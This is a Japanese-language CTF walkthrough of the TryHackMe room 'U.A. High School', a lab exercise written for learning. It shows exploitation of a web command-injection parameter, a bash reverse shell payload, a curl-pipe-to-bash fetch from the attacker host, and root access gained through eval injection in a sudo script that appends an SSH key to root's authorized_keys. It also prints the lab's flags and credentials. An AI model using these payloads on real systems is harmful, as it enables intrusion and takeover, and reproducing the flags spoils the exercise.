概要
TryHackMe「U.A. High School」のWalkthroughです。
Task1
Q1.What is the user.txt flag?
Hint.Enumerate thoroughly, there might be hidden functionality. Once you found a way in, be suspicious of any unused files.
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.17.255 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 58:2f:ec:23:ba:a9:fe:81:8a:8e:2d:d8:91:21:d2:76 (RSA)
| 256 9d:f2:63:fd:7c:f3:24:62:47:8a:fb:08:b2:29:e2:b4 (ECDSA)
|_ 256 62:d8:f8:c9:60:0f:70:1f:6e:11:ab:a0:33:79:b5:5d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: U.A. High School
|_http-server-header: Apache/2.4.41 (Ubuntu)
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 22 | ssh | OpenSSH 8.2p1 |
| 80 | http | Apache/2.4.41 |
80番ポートにアクセスするとホームページが表示されました。
タイトルなどからもわかる通り、先日連載終了した某ヒーローアニメのオマージュルームですね
ディレクトリ列挙を行います。
$ dirsearch -u http://10.10.32.164
[10:32:08] 200 - 1KB - /about.html
[10:32:29] 301 - 313B - /assets -> http://10.10.32.164/assets/
[10:32:29] 200 - 0B - /assets/
[10:32:39] 200 - 924B - /contact.html
/assets配下をスキャンします。
$ gobuster dir -u http://10.10.32.164/assets -w /usr/share/seclists/Discovery/Web-Content/common.txt
/images (Status: 301) [Size: 320] [--> http://10.10.32.164/assets/images/]
/index.php (Status: 200) [Size: 0]
/assets/index.phpを発見したのでさらに列挙します。
$ dirsearch -u http://10.10.32.164/assets/index.php
[11:55:25] 404 - 274B - /assets/index.php/%2e%2e//google.com
[11:56:49] 200 - 40B - /assets/index.php/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=dir
/assets/index.php/p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2?cmd=dirにアクセスするとbase64でエンコードされた文字列が表示されています。
文字列をデコードするとディレクトリ情報が表示されたので、cmdパラメータで送信したコマンドが実行されていると分かりました。
$ echo "aW1hZ2VzCWluZGV4LnBocCAgc3R5bGVzLmNzcwo=" | base64 -d
images index.php styles.css
リバースシェルペイロードファイルを作成します。
#!/bin/bash
bash -i >& /dev/tcp/10.6.55.144/1234 0>&1
HTTPサーバーをKaliで実行します。
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Netcatでリバースシェルを待ち受けます。
$ nc -lvnp 1234
listening on [any] 1234 ...
?cmd=curl%20http://10.6.55.144/shell.sh|bashにアクセスするとセッションを張れました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.175.213] 38888
bash: cannot set terminal process group (774): Inappropriate ioctl for device
bash: no job control in this shell
www-data@myheroacademia:/var/www/html/assets$ whoami
whoami
TTYの設定をします。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
user.txtにアクセスするにはdekuアカウントに昇格する必要があります。
www-data@myheroacademia:/home/deku$ ls -la
ls -la
total 36
drwxr-xr-x 5 deku deku 4096 Jul 10 2023 .
drwxr-xr-x 3 root root 4096 Jul 9 2023 ..
lrwxrwxrwx 1 root root 9 Jul 9 2023 .bash_history -> /dev/null
-rw-r--r-- 1 deku deku 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 deku deku 3771 Feb 25 2020 .bashrc
drwx------ 2 deku deku 4096 Jul 9 2023 .cache
drwxrwxr-x 3 deku deku 4096 Jul 9 2023 .local
-rw-r--r-- 1 deku deku 807 Feb 25 2020 .profile
drwx------ 2 deku deku 4096 Jul 9 2023 .ssh
-rw-r--r-- 1 deku deku 0 Jul 9 2023 .sudo_as_admin_successful
-r-------- 1 deku deku 33 Jul 10 2023 user.txt
/var/www配下を見るとHidden_Contentディレクトリを発見しました。
www-data@myheroacademia:/var/www$ ls -al
ls -al
total 16
drwxr-xr-x 4 www-data www-data 4096 Dec 13 2023 .
drwxr-xr-x 14 root root 4096 Jul 9 2023 ..
drwxrwxr-x 2 www-data www-data 4096 Jul 9 2023 Hidden_Content
drwxr-xr-x 3 www-data www-data 4096 Dec 13 2023 html
中にはpassphrase.txtがありました。
www-data@myheroacademia:/var/www$ ls -la Hidden_Content
ls -la Hidden_Content
total 12
drwxrwxr-x 2 www-data www-data 4096 Jul 9 2023 .
drwxr-xr-x 4 www-data www-data 4096 Dec 13 2023 ..
-rw-rw-r-- 1 www-data www-data 29 Jul 9 2023 passphrase.txt
passphrase.txtを確認するとbase64でエンコードされた文字列を発見しました。
$ cat Hidden_Content/passphrase.txt
cat Hidden_Content/passphrase.txt
QWxsbWlnaHRGb3JFdmVyISEhCg==
文字列をデコードするとパスワードを確認できました。
$ echo "QWxsbWlnaHRGb3JFdmVyISEhCg==" | base64 -d
AllmightForEver!!!
さらにディレクトリを探索していると/var/www/html/assets/images/oneforall.jpgを発見しました。
この画像ファイルはWebサイトに使用されていなかったので怪しいです。
www-data@myheroacademia:/var/www/html$ ls -al assets/images
ls -al assets/images
total 336
drwxrwxr-x 2 www-data www-data 4096 Jul 9 2023 .
drwxrwxr-x 3 www-data www-data 4096 Jan 25 2024 ..
-rw-rw-r-- 1 www-data www-data 98264 Jul 9 2023 oneforall.jpg
-rw-rw-r-- 1 www-data www-data 237170 Jul 9 2023 yuei.jpg
Kaliにダウンロードします。
$ wget http://10.10.175.213/assets/images/oneforall.jpg
ファイルの拡張子はjpgになっていますが、マジックナンバーはPNGのものになっているので画像を表示できませんでした。
マジックナンバーをFF D8 FF E0 00 10 4A 46 49 46に編集すると画像を表示できました。
パスワードAllmightForEver!!!を使用し、画像からsteghideで中に隠されたファイルの抽出を試みるとcreds.txtを発見しました。
$ steghide extract -sf oneforall.jpg
Enter passphrase:
wrote extracted data to "creds.txt".
creds.txtの内容を確認するとdekuアカウントのパスワードを得られました。
Hi Deku, this is the only way I've found to give you your account credentials, as soon as you have them, delete this file:
deku:One?For?All_!!one1/A
得られたパスワードを使用し、dekuアカウントでSSH接続をします。
$ ssh deku@10.10.175.213
deku@myheroacademia:~$
/home/deku/user.txtからユーザーフラグを入手できました。
THM{W3lC0m3_D3kU_1A_0n3f0rAll??}
A.THM{W3lC0m3_D3kU_1A_0n3f0rAll??}
Q2.What is the root.txt flag?
sudo -lで確認すると/opt/NewComponent/feedback.shを発見しました。
$ sudo -l
[sudo] password for deku:
Matching Defaults entries for deku on myheroacademia:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User deku may run the following commands on myheroacademia:
(ALL) /opt/NewComponent/feedback.sh
/opt/NewComponent/feedback.shの中身を確認すると、ユーザーの入力を受け付け、条件分岐をパスするとその内容を/var/log/feedback.txtに追記してます。
#!/bin/bash
echo "Hello, Welcome to the Report Form "
echo "This is a way to report various problems"
echo " Developed by "
echo " The Technical Department of U.A."
echo "Enter your feedback:"
read feedback
if [[ "$feedback" != *"\`"* && "$feedback" != *")"* && "$feedback" != *"\$("* && "$feedback" != *"|"* && "$feedback" != *"&"* && "$feedback" != *";"* && "$feedback" != *"?"* && "$feedback" != *"!"* && "$feedback" != *"\\"* ]]; then
echo "It is This:"
eval "echo $feedback"
echo "$feedback" >> /var/log/feedback.txt
echo "Feedback successfully saved."
else
echo "Invalid input. Please provide a valid input."
fi
/var/log/feedback.txtは内容を破棄しているので閲覧しても何もありません。
$ ls -l /var/log/feedback.txt
lrwxrwxrwx 1 root root 9 Jul 9 2023 /var/log/feedback.txt -> /dev/null
eval "echo"コマンドで入力された値を出力しているので任意のコマンドを実行できそうです。
eval "echo $feedback"
echoコマンドでは$(<filename)にすることでファイルの内容を出力できますが、今回は条件分岐で制限があり実行できません。
$ echo $(<test.txt)
test index index.php
echo -n "strings" > filenameでファイルに書き込みができることを利用してSSH接続を試みます。
Kaliで作成した公開鍵をrootのSSH公開鍵として登録できました。
$ sudo /opt/NewComponent/feedback.sh
Hello, Welcome to the Report Form
This is a way to report various problems
Developed by
The Technical Department of U.A.
Enter your feedback:
-n 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKkcG3J2Ah2iMj8byUhQY2SaTjvXZkh7zj5et6r+m9Q1 kali@kali' >> /root/.ssh/authorized_keys
It is This:
Feedback successfully saved.
秘密鍵でrootにSSH接続します。
$ ssh -i ~/.ssh/id_ed25519 root@10.10.0.106
root@myheroacademia:~# pwd
/root
/root/root.txtからルートフラグを入手できます。
__ __ _ _ _ _____ _
\ \ / /__ _ _ / \ _ __ ___ | \ | | _____ __ |_ _| |__ ___
\ V / _ \| | | | / _ \ | '__/ _ \ | \| |/ _ \ \ /\ / / | | | '_ \ / _ \
| | (_) | |_| | / ___ \| | | __/ | |\ | (_) \ V V / | | | | | | __/
|_|\___/ \__,_| /_/ \_\_| \___| |_| \_|\___/ \_/\_/ |_| |_| |_|\___|
_ _
_ _ ___ | | | |
| \ | | ___ / | | |__| | ___ _ __ ___
| \| |/ _ \/_/| | | __ |/ _ \ '__|/ _ \
| |\ | (_) __| |_ | | | | __/ | | (_) |
|_| \_|\___/|______| |_| |_|\___|_| \___/
THM{Y0U_4r3_7h3_NUm83r_1_H3r0}
A.THM{Y0U_4r3_7h3_NUm83r_1_H3r0}



